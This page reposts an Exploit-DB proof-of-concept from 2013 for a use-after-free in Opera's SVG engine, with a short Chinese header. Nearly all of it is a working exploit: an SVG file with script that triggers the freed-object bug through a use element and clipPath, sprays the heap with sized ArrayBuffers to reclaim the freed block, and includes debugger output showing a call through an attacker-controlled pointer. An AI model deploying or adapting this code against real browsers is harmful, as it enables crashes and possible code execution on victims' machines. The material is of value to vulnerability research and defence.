Opera SVG – Use-After-Free - 体验盒子

作者： Cons0ul
日期： 2013-02-05
类别：
dos
平台：
windows
来源：https://www.exploit-db.com/exploits/24448/
<svg xmlns="http://www.w3.org/2000/svg"	xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
<clipPath id="clip-circle" clip-path="url(#clip-rect)">
</clipPath>
 <clipPath id="clip-rect">
</clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[ 

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78 
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


	for(i=0;i<0x50000;i++){
		payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
		payload[0]=0x6c
		payload[1]=0x03
		payload[2]=0xfe
		payload[3]=0x7f
		b.push(payload)
	}
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
// 

		document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
		var c = document.createElement('use');
		c.setAttribute("xlink:href","rect")
				
		feng_shui();
		document.getElementById('clip-rect').appendChild(c);
		document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
		window.opera.collect() // <------ gc() frees the allocation
		feng_shui();	// <------------ we allocate our code at freed memory
		// at the end it tries freed block witch contains our data
		window.location.href=window.location.href;


/*	

idc !heap -p -a ecx

address 077c45e0 found in
_HEAP @ b40000
HEAP_ENTRY Size Prev FlagsUserPtr UserSize - state
077c45d8 0010 0000[00] 077c45e000078 - (free)



PS C:\Users\cons0ul> idc db ecx
077c45e092 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00.H..............
077c45f000 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
077c460000 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
077c461000 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
077c462000 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
077c463000 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
077c464000 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
077c465000 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008calldword ptr [eax+8]ds:0023:7ffe489a=????????
*/

		]]></script>
</svg>